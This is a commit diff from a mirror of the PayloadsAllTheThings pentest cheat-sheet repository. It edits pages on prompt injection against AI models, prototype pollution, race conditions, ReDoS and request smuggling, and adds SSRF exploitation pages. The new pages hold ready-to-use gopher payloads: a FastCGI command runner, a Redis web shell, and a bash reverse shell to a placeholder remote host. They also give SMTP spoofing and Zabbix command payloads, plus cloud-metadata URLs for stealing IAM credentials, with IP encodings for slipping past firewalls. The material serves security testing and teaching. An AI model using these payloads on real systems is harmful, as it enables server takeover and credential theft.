mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-11 13:55:32 +00:00
Regex + SSRF
This commit is contained in:
parent
8b27a177c2
commit
8c09568cb2
8 changed files with 749 additions and 716 deletions
|
@ -9,7 +9,8 @@
|
|||
* [Applications](#applications)
|
||||
* [Story Generation](#story-generation)
|
||||
* [Potential Misuse](#potential-misuse)
|
||||
* [Prompt Examples](#prompt-examples)
|
||||
* [Methodology](#methodology)
|
||||
* [Indirect Prompt Injection](#indirect-prompt-injection)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
|
@ -70,7 +71,7 @@ For instance, if you're using a language model to generate a story and you want
|
|||
In the context of security, "prompt injection" could refer to a type of attack where an attacker manipulates the input to a system (the "prompt") in order to cause the system to behave in a way that benefits the attacker. This could involve, for example, injecting malicious code or commands into user input fields on a website.
|
||||
|
||||
|
||||
## Prompt Examples
|
||||
## Methodology
|
||||
|
||||
Here are a list of basic prompts to test against NLP models.
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
* [Methodology](#methodology)
|
||||
* [Examples](#examples)
|
||||
* [Manual Testing](#manual-testing)
|
||||
* [Prototype Pollution via JSON input](#prototype-pollution-via-json-input)
|
||||
* [Prototype Pollution via JSON Input](#prototype-pollution-via-json-input)
|
||||
* [Prototype Pollution in URL](#prototype-pollution-in-url)
|
||||
* [Prototype Pollution Payloads](#prototype-pollution-payloads)
|
||||
* [Prototype Pollution Gadgets](#prototype-pollution-gadgets)
|
||||
|
@ -33,10 +33,14 @@ In JavaScript, prototypes are what allow objects to inherit features from other
|
|||
|
||||
```js
|
||||
var myDog = new Dog();
|
||||
```
|
||||
|
||||
```js
|
||||
// Points to the function "Dog"
|
||||
myDog.constructor;
|
||||
```
|
||||
|
||||
```js
|
||||
// Points to the class definition of "Dog"
|
||||
myDog.constructor.prototype;
|
||||
myDog.__proto__;
|
||||
|
@ -68,7 +72,7 @@ myDog["__proto__"];
|
|||
* Change the status code: `{ "__proto__":{"status":510}}`
|
||||
|
||||
|
||||
### Prototype Pollution via JSON input
|
||||
### Prototype Pollution via JSON Input
|
||||
|
||||
You can access the prototype of any object via the magic property `__proto__`.
|
||||
The `JSON.parse()` function in JavaScript is used to parse a JSON string and convert it into a JavaScript object. Typically it is a sink function where prototype pollution can happen.
|
||||
|
@ -141,7 +145,7 @@ Depending if the prototype pollution is executed client (CSPP) or server side (S
|
|||
```
|
||||
* Reflected XSS: [Reflected XSS on www.hackerone.com via Wistia embed code - #986386](https://hackerone.com/reports/986386)
|
||||
* Client-side bypass: [Prototype pollution – and bypassing client-side HTML sanitizers](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
|
||||
* Deny of Service
|
||||
* Denial of Service
|
||||
|
||||
|
||||
### Prototype Pollution Payloads
|
||||
|
@ -181,7 +185,7 @@ Either create your own gadget using part of the source with [yeswehack/pp-finder
|
|||
- [Detecting Server-Side Prototype Pollution - Daniel Thatcher - February 15, 2023](https://www.intruder.io/research/server-side-prototype-pollution)
|
||||
- [Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609) - Michał Bentkowski - October 30, 2019](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [Keynote | Server Side Prototype Pollution: Blackbox Detection Without The DoS - Gareth Heyes - March 27, 2023](https://youtu.be/LD-KcuKM_0M)
|
||||
- [NodeJS - __proto__ & prototype Pollution - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution)
|
||||
- [NodeJS - \_\_proto\_\_ & prototype Pollution - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution)
|
||||
- [Prototype Pollution - PortSwigger - November 10, 2022](https://portswigger.net/web-security/prototype-pollution)
|
||||
- [Prototype pollution - Snyk - August 19, 2023](https://learn.snyk.io/lessons/prototype-pollution/javascript/)
|
||||
- [Prototype pollution and bypassing client-side HTML sanitizers - Michał Bentkowski - August 18, 2020](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
|
||||
- [Tools](#tools)
|
||||
- [Methodology](#methodology)
|
||||
- [Limit-overrun](#limit-overrun)
|
||||
- [Rate-limit bypass](#rate-limit-bypass)
|
||||
- [Limit-overrun](#limit-overrun)
|
||||
- [Rate-limit Bypass](#rate-limit-bypass)
|
||||
- [Techniques](#techniques)
|
||||
- [HTTP/1.1 last-byte synchronization](#http11-last-byte-synchronization)
|
||||
- [HTTP/2 Single-packet attack](#http2-single-packet-attack)
|
||||
- [HTTP/1.1 Last-byte Synchronization](#http11-last-byte-synchronization)
|
||||
- [HTTP/2 Single-packet Attack](#http2-single-packet-attack)
|
||||
- [Turbo Intruder](#turbo-intruder)
|
||||
- [Example 1](#example-1)
|
||||
- [Example 2](#example-2)
|
||||
- [Example 1](#example-1)
|
||||
- [Example 2](#example-2)
|
||||
- [Labs](#labs)
|
||||
- [References](#references)
|
||||
|
||||
|
@ -30,27 +30,27 @@
|
|||
|
||||
### Limit-overrun
|
||||
|
||||
Overdrawing limit, multiple voting, multiple spending of a giftcard.
|
||||
Limit-overrun refers to a scenario where multiple threads or processes compete to update or access a shared resource, resulting in the resource exceeding its intended limits.
|
||||
|
||||
**Examples**:
|
||||
**Examples**: Overdrawing limit, multiple voting, multiple spending of a giftcard.
|
||||
|
||||
- [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
|
||||
- [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007)
|
||||
- [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609)
|
||||
|
||||
|
||||
### Rate-limit bypass
|
||||
### Rate-limit Bypass
|
||||
|
||||
Bypassing anti-bruteforce mechanism and 2FA.
|
||||
Rate-limit bypass occurs when an attacker exploits the lack of proper synchronization in rate-limiting mechanisms to exceed intended request limits. Rate-limiting is designed to control the frequency of actions (e.g., API requests, login attempts), but race conditions can allow attackers to bypass these restrictions.
|
||||
|
||||
**Examples**:
|
||||
**Examples**: Bypassing anti-bruteforce mechanism and 2FA.
|
||||
|
||||
- [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM)
|
||||
|
||||
|
||||
## Techniques
|
||||
|
||||
### HTTP/1.1 last-byte synchronization
|
||||
### HTTP/1.1 Last-byte Synchronization
|
||||
|
||||
Send every requests except the last byte, then "release" each request by sending the last byte.
|
||||
|
||||
|
@ -67,16 +67,16 @@ engine.openGate('race1')
|
|||
- [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style)
|
||||
|
||||
|
||||
### HTTP/2 Single-packet attack
|
||||
### HTTP/2 Single-packet Attack
|
||||
|
||||
In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.
|
||||
|
||||
- [turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py)
|
||||
- [PortSwigger/turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py)
|
||||
- Burp Suite
|
||||
- Send a request to Repeater
|
||||
- Duplicate the request 20 times (CTRL+R)
|
||||
- Create a new group and add all the requests
|
||||
- Send group in parallel (single-packet attack)
|
||||
- Send a request to Repeater
|
||||
- Duplicate the request 20 times (CTRL+R)
|
||||
- Create a new group and add all the requests
|
||||
- Send group in parallel (single-packet attack)
|
||||
|
||||
**Examples**:
|
||||
|
||||
|
|
|
@ -6,8 +6,9 @@
|
|||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Evil Regex](#evil-regex)
|
||||
* [Backtrack Limit](#backtrack-limit)
|
||||
* [Methodology](#methodology)
|
||||
* [Evil Regex](#evil-regex)
|
||||
* [Backtrack Limit](#backtrack-limit)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
|
@ -18,7 +19,9 @@
|
|||
* [devina.io/redos-checker](https://devina.io/redos-checker) - Examine regular expressions for potential Denial of Service vulnerabilities
|
||||
|
||||
|
||||
## Evil Regex
|
||||
## Methodology
|
||||
|
||||
### Evil Regex
|
||||
|
||||
Evil Regex contains:
|
||||
|
||||
|
@ -35,14 +38,20 @@ Evil Regex contains:
|
|||
* `(a|a?)+`
|
||||
* `(.*a){x}` for x \> 10
|
||||
|
||||
These regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!`
|
||||
These regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!` (20 'a's followed by a '!').
|
||||
|
||||
```ps1
|
||||
aaaaaaaaaaaaaaaaaaaa!
|
||||
```
|
||||
|
||||
For this input, the regex engine will try all possible ways to group the `a` characters before realizing that the match ultimately fails because of the `!`. This results in an explosion of backtracking attempts.
|
||||
|
||||
|
||||
## Backtrack Limit
|
||||
### Backtrack Limit
|
||||
|
||||
Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.
|
||||
|
||||
PHP PCRE configuration options
|
||||
**PHP PCRE configuration options**
|
||||
|
||||
| Name | Default | Note |
|
||||
|----------------------|---------|---------|
|
||||
|
|
|
@ -25,9 +25,7 @@
|
|||
|
||||
## Methodology
|
||||
|
||||
If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as PortSwigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`.
|
||||
|
||||
For that reason you can use the [Simple HTTP Smuggler Generator CL.TE TE.CL](https://github.com/dhmosfunk/simple-http-smuggler-generator) and exploit the CL.TE TE.CL vulnerabilities manually and learn how this vulnerability works and how you can exploit it.
|
||||
If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as PortSwigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`.
|
||||
|
||||
|
||||
### CL.TE Vulnerabilities
|
||||
|
@ -97,7 +95,7 @@ x=1
|
|||
|
||||
```
|
||||
|
||||
:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.
|
||||
:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence `\r\n\r\n` following the final 0.
|
||||
|
||||
|
||||
### TE.TE Vulnerabilities
|
||||
|
@ -156,7 +154,8 @@ This could be used to:
|
|||
* get the victim to send an exploit to a site (eg for internal sites the attacker cannot access, or to make it harder to attribute the attack)
|
||||
* to get the victim to run arbitrary JavaScript as if it were from the site
|
||||
|
||||
Eg:
|
||||
**Example**:
|
||||
|
||||
```javascript
|
||||
fetch('https://www.example.com/redirect', {
|
||||
method: 'POST',
|
||||
|
@ -168,10 +167,10 @@ fetch('https://www.example.com/redirect', {
|
|||
})
|
||||
```
|
||||
|
||||
tells the victim browser to send a POST request to www.example.com/redirect. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to www.example.com.
|
||||
This script tells the victim browser to send a `POST` request to `www.example.com/redirect`. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to `www.example.com`.
|
||||
|
||||
www.example.com now incorrectly processes the HEAD request in the POST's body, instead of the browser's GET request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=<script>...`) request and finally the browser's actual GET request.
|
||||
Since the browser only sent one request, it accepts the response to the HEAD request as the response to its GET request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
|
||||
www.example.com now incorrectly processes the `HEAD` request in the `POST`'s body, instead of the browser's `GET` request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=<script>...`) request and finally the browser's actual `GET` request.
|
||||
Since the browser only sent one request, it accepts the response to the `HEAD` request as the response to its `GET` request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
|
||||
|
||||
|
||||
## Labs
|
||||
|
|
File diff suppressed because it is too large
Load diff
172
Server Side Request Forgery/SSRF-Advanced-Exploitation.md
Normal file
172
Server Side Request Forgery/SSRF-Advanced-Exploitation.md
Normal file
|
@ -0,0 +1,172 @@
|
|||
# SSRF Advanced Exploitation
|
||||
|
||||
> Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.
|
||||
|
||||
## Summary
|
||||
|
||||
* [DNS AXFR](#dns-axfr)
|
||||
* [FastCGI](#fastcgi)
|
||||
* [Memcached](#memcached)
|
||||
* [MySQL](#memcached)
|
||||
* [Redis](#redis)
|
||||
* [SMTP](#smtp)
|
||||
* [WSGI](#wsgi)
|
||||
* [Zabbix](#zabbix)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## DNS AXFR
|
||||
|
||||
Query an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains.
|
||||
|
||||
```py
|
||||
from urllib.parse import quote
|
||||
domain,tld = "example.lab".split('.')
|
||||
dns_request = b"\x01\x03\x03\x07" # BITMAP
|
||||
dns_request += b"\x00\x01" # QCOUNT
|
||||
dns_request += b"\x00\x00" # ANCOUNT
|
||||
dns_request += b"\x00\x00" # NSCOUNT
|
||||
dns_request += b"\x00\x00" # ARCOUNT
|
||||
dns_request += len(domain).to_bytes() # LEN DOMAIN
|
||||
dns_request += domain.encode() # DOMAIN
|
||||
dns_request += len(tld).to_bytes() # LEN TLD
|
||||
dns_request += tld.encode() # TLD
|
||||
dns_request += b"\x00" # DNAME EOF
|
||||
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
|
||||
dns_request += b"\x00\x01" # QCLASS IN (1)
|
||||
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
|
||||
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')
|
||||
```
|
||||
|
||||
Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01`
|
||||
|
||||
```ps1
|
||||
curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
|
||||
```
|
||||
|
||||
|
||||
## FastCGI
|
||||
|
||||
Requires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`.
|
||||
|
||||
```ps1
|
||||
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00
|
||||
```
|
||||
|
||||
|
||||
## Memcached
|
||||
|
||||
Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.
|
||||
|
||||
```ps1
|
||||
python2.7 ./gopherus.py --exploit pymemcache
|
||||
python2.7 ./gopherus.py --exploit rbmemcache
|
||||
python2.7 ./gopherus.py --exploit phpmemcache
|
||||
python2.7 ./gopherus.py --exploit dmpmemcache
|
||||
```
|
||||
|
||||
## MySQL
|
||||
|
||||
MySQL user should not be password protected.
|
||||
|
||||
```ps1
|
||||
$ python2.7 ./gopherus.py --exploit mysql
|
||||
Give MySQL username: root
|
||||
Give query to execute: SELECT 123;
|
||||
|
||||
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01
|
||||
```
|
||||
|
||||
## Redis
|
||||
|
||||
> Redis is a database system that stores everything in RAM
|
||||
|
||||
The attacker changes Redis's dump directory to the web server's document root (`/var/www/html`) and renames the dump file to `file.php`, ensuring that when the database is saved, it generates a PHP file. They then create a Redis key (`mykey`) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the `SAVE` command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at `/var/www/html/file.php`.
|
||||
|
||||
```ps1
|
||||
CONFIG SET dir /var/www/html
|
||||
CONFIG SET dbfilename file.php
|
||||
SET mykey "<?php system($_GET[0])?>"
|
||||
SAVE
|
||||
```
|
||||
|
||||
* Getting a webshell with `dict://`
|
||||
```powershell
|
||||
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
|
||||
dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
|
||||
dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
|
||||
dict://127.0.0.1:6379/SAVE
|
||||
```
|
||||
|
||||
* Getting a PHP reverse shell with `gopher://`
|
||||
```powershell
|
||||
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
|
||||
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
|
||||
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
|
||||
gopher://127.0.0.1:6379/_save
|
||||
```
|
||||
|
||||
## SMTP
|
||||
|
||||
Malicious actors can craft `gopher://` URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.
|
||||
|
||||
```ps1
|
||||
gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
|
||||
```
|
||||
|
||||
The following PHP script can be used to generate a page that will redirect to the `gopher://` payload.
|
||||
|
||||
```php
|
||||
<?php
|
||||
$commands = array(
|
||||
'HELO victim.com',
|
||||
'MAIL FROM: <admin@victim.com>',
|
||||
'RCPT To: <hacker@attacker.com>',
|
||||
'DATA',
|
||||
'Subject: @hacker!',
|
||||
'Hello Friend',
|
||||
'.'
|
||||
);
|
||||
$payload = implode('%0A', $commands);
|
||||
header('Location: gopher://0:25/_'.$payload);
|
||||
?>
|
||||
```
|
||||
|
||||
|
||||
## WSGI
|
||||
|
||||
Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py).
|
||||
|
||||
```powershell
|
||||
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
|
||||
```
|
||||
|
||||
| Header | | |
|
||||
|-----------|-----------|-------------|
|
||||
| modifier1 | (1 byte) | 0 (%00) |
|
||||
| datasize | (2 bytes) | 26 (%1A%00) |
|
||||
| modifier2 | (1 byte) | 0 (%00) |
|
||||
|
||||
| Variable (UWSGI_FILE) | | | |
|
||||
|-----------------------|-----------|----|----------------|
|
||||
| key length | (2 bytes) | 10 | (%0A%00) |
|
||||
| key data | (m bytes) | | UWSGI_FILE |
|
||||
| value length | (2 bytes) | 12 | (%0C%00) |
|
||||
| value data | (n bytes) | | /tmp/test.py |
|
||||
|
||||
|
||||
## Zabbix
|
||||
|
||||
If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.
|
||||
|
||||
```ps1
|
||||
gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [SSRFmap - Introducing the AXFR Module - Swissky - June 13, 2024](https://swisskyrepo.github.io/SSRFmap-axfr/)
|
||||
- [How I Converted SSRF to XSS in Jira - Ashish Kunwar - June 1, 2018](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
|
||||
- [Pong [EN] | FCSC 2024 - Arthur Deloffre (@Vozec1) - April 12, 2024](https://vozec.fr/writeups/pong-fcsc2024-en/)
|
||||
- [Pong [EN] | FCSC 2024 - Kévin - Mizu (@kevin_mizu) - April 13, 2024](https://mizu.re/post/pong)
|
336
Server Side Request Forgery/SSRF-Cloud-Instances.md
Normal file
336
Server Side Request Forgery/SSRF-Cloud-Instances.md
Normal file
|
@ -0,0 +1,336 @@
|
|||
|
||||
# SSRF URL for Cloud Instances
|
||||
|
||||
> When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers
|
||||
|
||||
## Summary
|
||||
|
||||
* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket)
|
||||
* [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs)
|
||||
* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)
|
||||
* [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda)
|
||||
* [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud)
|
||||
* [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean)
|
||||
* [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud)
|
||||
* [SSRF URL for Azure](#ssrf-url-for-azure)
|
||||
* [SSRF URL for OpenStack/RackSpace](#ssrf-url-for-openstackrackspace)
|
||||
* [SSRF URL for HP Helion](#ssrf-url-for-hp-helion)
|
||||
* [SSRF URL for Oracle Cloud](#ssrf-url-for-oracle-cloud)
|
||||
* [SSRF URL for Kubernetes ETCD](#ssrf-url-for-kubernetes-etcd)
|
||||
* [SSRF URL for Alibaba](#ssrf-url-for-alibaba)
|
||||
* [SSRF URL for Hetzner Cloud](#ssrf-url-for-hetzner-cloud)
|
||||
* [SSRF URL for Docker](#ssrf-url-for-docker)
|
||||
* [SSRF URL for Rancher](#ssrf-url-for-rancher)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## SSRF URL for AWS
|
||||
|
||||
The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
|
||||
|
||||
|
||||
* IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/`
|
||||
* IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`
|
||||
```powershell
|
||||
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
|
||||
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
|
||||
```
|
||||
|
||||
* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/`
|
||||
|
||||
In case of a WAF, you might want to try different ways to connect to the API.
|
||||
|
||||
* DNS record pointing to the AWS API IP
|
||||
```powershell
|
||||
http://instance-data
|
||||
http://169.254.169.254
|
||||
http://169.254.169.254.nip.io/
|
||||
```
|
||||
|
||||
* HTTP redirect
|
||||
```powershell
|
||||
Static:http://nicob.net/redir6a
|
||||
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
|
||||
```
|
||||
|
||||
* Encoding the IP to bypass WAF
|
||||
```powershell
|
||||
http://425.510.425.510 Dotted decimal with overflow
|
||||
http://2852039166 Dotless decimal
|
||||
http://7147006462 Dotless decimal with overflow
|
||||
http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal
|
||||
http://0xA9FEA9FE Dotless hexadecimal
|
||||
http://0x41414141A9FEA9FE Dotless hexadecimal with overflow
|
||||
http://0251.0376.0251.0376 Dotted octal
|
||||
http://0251.00376.000251.0000376 Dotted octal with padding
|
||||
http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)
|
||||
http://[::ffff:a9fe:a9fe] IPV6 Compressed
|
||||
http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded
|
||||
http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4
|
||||
http://[fd00:ec2::254] IPV6
|
||||
```
|
||||
|
||||
|
||||
These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
|
||||
```
|
||||
|
||||
This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/latest/user-data
|
||||
```
|
||||
|
||||
Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/latest/meta-data/
|
||||
http://169.254.169.254/latest/meta-data/ami-id
|
||||
http://169.254.169.254/latest/meta-data/reservation-id
|
||||
http://169.254.169.254/latest/meta-data/hostname
|
||||
http://169.254.169.254/latest/meta-data/public-keys/
|
||||
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
|
||||
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
**Examples**:
|
||||
|
||||
* Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`
|
||||
* *Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
|
||||
|
||||
|
||||
## SSRF URL for AWS ECS
|
||||
|
||||
If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.
|
||||
|
||||
```powershell
|
||||
curl http://169.254.170.2/v2/credentials/<UUID>
|
||||
```
|
||||
|
||||
This way you'll extract IAM keys of the attached role
|
||||
|
||||
|
||||
## SSRF URL for AWS Elastic Beanstalk
|
||||
|
||||
We retrieve the `accountId` and `region` from the API.
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
|
||||
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
|
||||
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
|
||||
|
||||
## SSRF URL for AWS Lambda
|
||||
|
||||
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
|
||||
|
||||
```powershell
|
||||
http://localhost:9001/2018-06-01/runtime/invocation/next
|
||||
http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next
|
||||
```
|
||||
|
||||
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
|
||||
|
||||
## SSRF URL for Google Cloud
|
||||
|
||||
:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15.
|
||||
|
||||
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/computeMetadata/v1/
|
||||
http://metadata.google.internal/computeMetadata/v1/
|
||||
http://metadata/computeMetadata/v1/
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/hostname
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/id
|
||||
http://metadata.google.internal/computeMetadata/v1/project/project-id
|
||||
```
|
||||
|
||||
Google allows recursive pulls
|
||||
|
||||
```powershell
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
|
||||
```
|
||||
|
||||
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
|
||||
|
||||
```powershell
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
|
||||
Required headers can be set using a gopher SSRF with the following technique
|
||||
|
||||
```powershell
|
||||
